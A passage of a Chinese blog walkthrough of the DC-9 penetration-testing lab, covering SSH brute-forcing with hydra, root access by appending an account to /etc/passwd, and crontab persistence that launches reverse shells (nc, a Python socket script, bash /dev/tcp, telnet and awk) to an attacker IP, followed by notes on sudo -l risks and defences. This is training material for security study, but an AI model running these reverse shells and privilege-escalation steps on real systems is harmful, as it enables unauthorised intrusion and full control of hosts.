&lt;p&gt;&lt;img alt="image-20250507112701351" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507112701351.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;hydra -L user.txt -P passwd.txt ssh://172.168.169.133 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后用hydra带上用户名和密码爆破。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250507112840479" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507112840479.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;[DATA] attacking ssh://172.168.169.133:22/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;[22][ssh] host: 172.168.169.133 login: chandlerb password: UrAG0D!
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;[22][ssh] host: 172.168.169.133 login: joeyt password: Passw0rd
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;[22][ssh] host: 172.168.169.133 login: janitor password: Ilovepeepee
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250507113036568" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507113036568.png"&gt;&lt;/p&gt;
&lt;p&gt;进账户搜账户下文件，发现history都被销毁了，只有janitor账户下有新东西。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250507141738861" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507141738861.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250507142005063" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507142005063.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;janitor@dc-9:~$ cat .secrets-for-putin/passwords-found-on-post-it-notes.txt 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;BamBam01
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;Passw0rd
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;smellycats
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;P0Lic#10-4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;B4-Tru3-001
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;4uGU5T-NiGHts
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;再用这些密码继续爆破密码。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250507142237213" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507142237213.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;[DATA] attacking ssh://172.168.169.133:22/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;[22][ssh] host: 172.168.169.133 login: fredf password: B4-Tru3-001
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;[22][ssh] host: 172.168.169.133 login: joeyt password: Passw0rd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;爆破出来新的fredf的账户，joeyt我们已经登陆过了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250507142643796" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507142643796.png"&gt;&lt;/p&gt;
&lt;p&gt;fredf账户主页下面还是没有什么有价值的东西，但是fredf的权限组看起来应该是比之前的几个账户高的，之前的几个账户连运行&lt;code&gt;sudo -l&lt;/code&gt;的权限都没有，而fredf有权限运行，且发现一个可以利用的脚本test。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250507142944581" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507142944581.png"&gt;&lt;/p&gt;
&lt;h3 id="etcpasswd-提权"&gt;/etc/passwd 提权
&lt;/h3&gt;&lt;p&gt;test在一个dist文件夹下，这个dist是典型的python编译为二进制文件，打包后的目录，所以查看该目录下能发现test的源码。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250507143223877" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507143223877.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250507144122327" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507144122327.png"&gt;&lt;/p&gt;
&lt;p&gt;这个test的作用就是把2文件的内容加到1文件末尾，但是她是sudo权限，也就是说像&lt;code&gt;/etc/passwd&lt;/code&gt;这样的文件它也可以加，我们可以加一个新账户，有root权限。注意这里的slat后面的单词：Salt 超过 8 字符导致截断，太长会导致验证时盐值不匹配。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;openssl passwd -1 -salt MS02423 MS02423
cd /tmp # 不在tmp目录下echo输出的不对
echo &amp;#39;MS02423:$1$MS02423$xCJ3D9eufDuODS1PBNjp51:0:0::/root:/bin/bash&amp;#39; &amp;gt; MS02423
sudo /opt/devstuff/dist/test/test MS02423 /etc/passwd
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250507150640015" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507150640015.png"&gt;&lt;/p&gt;
&lt;p&gt;整点花活，都有川建国了不是，再加一个拜振华。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250507151058118" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507151058118.png"&gt;&lt;/p&gt;
&lt;h3 id="crontab反弹提权"&gt;crontab反弹提权
&lt;/h3&gt;&lt;p&gt;test这个脚本的功能，除了可以写用户名，还可以写crontab，可以用来执行红队的一些高危命令，进而达到提权目的。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;*/5 * * * * /bin/nc 172.168.169.128 &lt;span class="m"&gt;4444&lt;/span&gt; -e /bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250507152236813" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507152236813.png"&gt;&lt;/p&gt;
&lt;p&gt;一开始想弹nc，但是发现nc命令用不了。但是他有些python的脚本那么python一定可以用。新建一个python脚本&lt;code&gt;py3shell.py&lt;/code&gt;，写好攻击方法&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;socket&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;subprocess&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;os&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 设置目标主机和端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;HOST&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;172.168.169.128&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# 替换为攻击者的 IP 地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;PORT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;8888&lt;/span&gt; &lt;span class="c1"&gt;# 替换为攻击者监听的端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 创建 socket 对象并连接到攻击者&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;HOST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PORT&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 重定向标准输入、标准输出和标准错误&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dup2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fileno&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# stdin&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dup2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fileno&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# stdout&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dup2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fileno&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# stderr&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 执行 shell&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/bin/sh&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-i&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;再写一个用于test脚本写入crontab执行的文件&lt;code&gt;111.txt&lt;/code&gt;，写入如下内容。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;* * * * * root /usr/bin/python3 /tmp/py3shell.py
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后再用test把命令加岛crontab中去。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo /opt/devstuff/dist/test/test 11.txt /etc/crontab 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250507160035964" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507160035964.png"&gt;&lt;/p&gt;
&lt;p&gt;一分钟后成功弹回。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250507160236127" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507160236127.png"&gt;&lt;/p&gt;
&lt;h3 id="awk反弹和直接提权失败"&gt;AWK反弹和直接提权（失败）
&lt;/h3&gt;&lt;p&gt;查找当前账户下可用来反弹shell的命令&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ls /bin | grep -E &amp;#39;bash|sh|nc|netcat|socat|python|perl|php|ruby|telnet|openssl|awk|find&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;发现有awk可以用，awk是可以直接提权的，不用写入crontab中。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250507153405071" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507153405071.png"&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;/bin/awk &amp;#39;BEGIN {s = &amp;#34;/inet/tcp/0/172.168.169.128/4444&amp;#34;; while(1) { do { printf &amp;#34;&amp;gt; &amp;#34; |&amp;amp; s; s |&amp;amp; getline c; if(c) { while ((c |&amp;amp; getline) &amp;gt; 0) print $0 |&amp;amp; s; close(c); } } while(c != &amp;#34;exit&amp;#34;) } }&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250507155141180" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507155141180.png"&gt;&lt;/p&gt;
&lt;p&gt;尝试了这些命令都用不了，在root账户情况下，awk可以用，telnet也可以用，但是反弹没有回显&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;*/5 * * * * /bin/bash -c &lt;span class="s1"&gt;&amp;#39;/bin/bash -i &amp;gt;&amp;amp; /dev/tcp/172.168.169.128/4444 0&amp;gt;&amp;amp;1&amp;#39;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; /bin/telnet 172.168.169.128 &lt;span class="m"&gt;4444&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; /bin/sh &lt;span class="p"&gt;|&lt;/span&gt; /bin/telnet 172.168.169.128 &lt;span class="m"&gt;4444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;除了反弹shell，awk还可以直接提权https://gtfobins.github.io/，但是这个靶机用不了&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;关注 &lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="补充知识点sudo--l-的作用"&gt;补充知识点：Sudo -l 的作用
&lt;/h2&gt;&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt; 是 Linux/Unix 系统中用于 &lt;strong&gt;查看当前用户的 sudo 权限&lt;/strong&gt; 的命令，它能显示用户被允许执行的命令列表、目标用户身份（如 &lt;code&gt;root&lt;/code&gt;）以及是否需要密码验证。&lt;/p&gt;
&lt;h3 id="核心作用"&gt;&lt;strong&gt;核心作用&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;权限审计&lt;/strong&gt;&lt;br&gt;
检查当前用户可以通过 &lt;code&gt;sudo&lt;/code&gt; 执行哪些特权命令，避免权限滥用。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;安全测试&lt;/strong&gt;&lt;br&gt;
渗透测试中快速识别可能的提权路径（如无密码执行危险命令）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="使用场景"&gt;&lt;strong&gt;使用场景&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;系统管理&lt;/strong&gt;：验证用户权限是否符合最小化原则。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全渗透&lt;/strong&gt;：寻找配置不当的 &lt;code&gt;sudo&lt;/code&gt; 规则以提升权限。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;故障排查&lt;/strong&gt;：确认用户是否有权执行特定命令。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="命令输出解析"&gt;&lt;strong&gt;命令输出解析&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;运行命令：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo -l
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;典型输出示例：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;Matching Defaults entries &lt;span class="k"&gt;for&lt;/span&gt; user1 on host:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; env_reset, mail_badpass, &lt;span class="nv"&gt;secure_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/local/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/local/bin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/bin&lt;span class="se"&gt;\:&lt;/span&gt;/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/bin&lt;span class="se"&gt;\:&lt;/span&gt;/snap/bin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;User user1 may run the following commands on host:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /usr/bin/apt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;(&lt;/span&gt;admin&lt;span class="o"&gt;)&lt;/span&gt; PASSWD: /usr/bin/systemctl restart nginx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;(root)&lt;/code&gt;&lt;/strong&gt;: 允许以 &lt;code&gt;root&lt;/code&gt; 身份运行命令。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;NOPASSWD&lt;/code&gt;&lt;/strong&gt;: 执行该命令 &lt;strong&gt;无需密码&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;PASSWD&lt;/code&gt;&lt;/strong&gt;: 执行该命令 &lt;strong&gt;需要密码&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="安全风险示例"&gt;&lt;strong&gt;安全风险示例&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="场景-1无密码执行特权命令"&gt;&lt;strong&gt;场景 1：无密码执行特权命令&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;User alice may run the following commands:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;(&lt;/span&gt;ALL&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /usr/bin/vim /etc/sudoers
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;攻击方法&lt;/strong&gt;：&lt;br&gt;
通过 &lt;code&gt;sudo vim /etc/sudoers&lt;/code&gt; 直接修改权限配置，添加提权规则。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="场景-2滥用可执行程序"&gt;&lt;strong&gt;场景 2：滥用可执行程序&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;User bob may run the following commands:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /usr/bin/python3 /scripts/*.py
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;攻击方法&lt;/strong&gt;：&lt;br&gt;
若可写入 &lt;code&gt;/scripts/&lt;/code&gt; 目录，替换恶意脚本并执行 &lt;code&gt;sudo python3 /scripts/exploit.py&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="防御建议"&gt;&lt;strong&gt;防御建议&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;最小权限原则&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;仅授予必要的命令权限，避免使用 &lt;code&gt;ALL&lt;/code&gt; 或通配符（&lt;code&gt;*&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;示例：&lt;code&gt;user1 ALL=(root) /usr/bin/apt update&lt;/code&gt;（仅允许更新软件包）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;密码验证&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
